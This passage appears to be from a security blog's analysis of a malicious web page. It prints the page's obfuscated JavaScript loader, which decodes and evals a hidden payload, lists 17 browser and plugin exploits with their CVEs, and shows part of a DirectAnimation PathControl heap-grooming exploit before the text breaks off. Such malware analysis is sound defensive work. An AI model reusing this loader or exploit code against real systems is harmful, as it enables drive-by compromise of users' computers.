&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;sK5tVpH6uQTNjz&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;VqiKaGXn&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;EFWwHQWBlb&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;VqiKaGXn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;lQMLLno&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;CoZtfIDFYl&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;LIIVFZwmlhNqxo&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;W018sXwS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;ykerJQuIiCo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;gkkYR9OOwch6&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;qyBlQcNBGEVh0&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;OLcO9M0gn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
      &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
      &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
      &lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;LIIVFZwmlhNqxo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;EFWwHQWBlb&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;lQMLLno&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;LIIVFZwmlhNqxo&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;LIIVFZwmlhNqxo&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;CoZtfIDFYl=Ma&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;th.m&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;in(EFWwHQWBlb,lQMLLno)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="nx"&gt;CoZtfIDFYl&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;CoZtfIDFYl&lt;/span&gt;&lt;span class="o"&gt;--,&lt;/span&gt;&lt;span class="nx"&gt;EFWwHQWBlb&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;qyBlQcNBGEVh0&lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;OLcO9M0gn&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;VqiKaGXn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ykerJQuIiCo&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;gkkYR9OOwch6&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;gkkYR9OOwch6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;W018sXwS&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="nx"&gt;v8P6GEVcq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;149&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="nx"&gt;qyBlQcNBGEVh0&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;qyBlQcNBGEVh0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;gkkYR9OOwch6&lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;gkkYR9OOwch6&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;W018sXwS&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;QCDhu&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;6AMJaSShJy3rJJUiDq6rlyPFLi3fGK3NJeLKJ2oFOooNLe6OLoiK@&lt;/span&gt;
&lt;span class="s2"&gt;  ... &lt;/span&gt;
&lt;span class="s2"&gt;  AzmNJ2mBc0PwD396AMJaAM97LSL6AMJae&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sK5tVpH6uQTNjz&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;QCDhu&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After the initial deobfuscation step (nothing too fancy here, this time), the
actual code is available in the clear. Two surprises here. First, as I said,
there are 17 exploits:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;mdac&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;office&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;wfi&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;com&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;creative&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;wks&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;ogame&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;ca&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;buddy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;gomweb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;xmlcore&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;quick&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;real&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;ntaudio&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
     &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;dani&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The exploits are targeting:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;MDAC vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0003"&gt;CVE-2006-0003&lt;/a&gt;) and similar. The list of affected classids is suspiciously identical to the corresponding &lt;a href="http://www.milw0rm.com/exploits/2164"&gt;milw0rm's exploit&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;WebViewFolder setSlice vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3730"&gt;CVE-2006-3730&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;CreateControlRange vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0055"&gt;CVE-2005-0055&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;DirectAnimation PathControl vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4777"&gt;CVE-2006-4777&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Snapshot Viewer vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2463"&gt;CVE-2008-2463&lt;/a&gt;). Thirteen different Windows versions (languages) are supported.&lt;/li&gt;
&lt;li&gt;Sina Downloader.DLoader.1 vulnerability (&lt;a href="http://www.securityfocus.com/bid/30223/info"&gt;BID-30223&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;WksPictureInterface vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1898"&gt;CVE-2008-2898&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Ourgame IEStartNative vulnerability (&lt;a href="http://secunia.com/advisories/30469"&gt;SA-30469&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;CA AddColumn vulnerability (&lt;a href="http://www.securityfocus.com/bid/28268"&gt;BID-28268&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;SuperBuddy LinkSBIcons vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5820"&gt;CVE-2006-5820&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;GomPlayer OpenURL vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5779"&gt;CVE-2007-5779&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;XMLHTTP setRequestHeader vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5745"&gt;CVE-2006-5745&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;QuickTime RTSP vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6166"&gt;CVE-2007-6166&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;RealPlayer Console vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1309"&gt;CVE-2008-1309&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;NCTAudioFile2 SetFormatLikeSample vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0018"&gt;CVE-2007-0018&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Creative CacheFolder vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0955"&gt;CVE-2008-0955&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;collab.CollabEmailInfo vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659"&gt;CVE-2007-5659&lt;/a&gt; or &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0655"&gt;CVE-2008-0655&lt;/a&gt;).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Second, the code doesn't use the usual heap spraying technique, but an
adaptation of the &lt;a href="" title="http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Whitepaper/bh-eu-07-sotirov-WP.pdf"&gt;Heap Feng
Shui&lt;/a&gt;
technique by Alex Sotirov. For example, the exploit for the DirectAnimation vulnerability is:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;dani&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;cobj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;DirectAnimation.PathControl&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
            &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="nx"&gt;init&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;jmpecx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0c0c0c0c&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;vtable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x7ceb9090&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;124&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
                &lt;span class="nx"&gt;vtable&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;jmpecx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;vtable&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1008&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;138&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;fakeObjPtr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;heapBase&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x688&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;1008&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;fakeObjChunk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; 
                &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x200c&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fakeObjPtr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
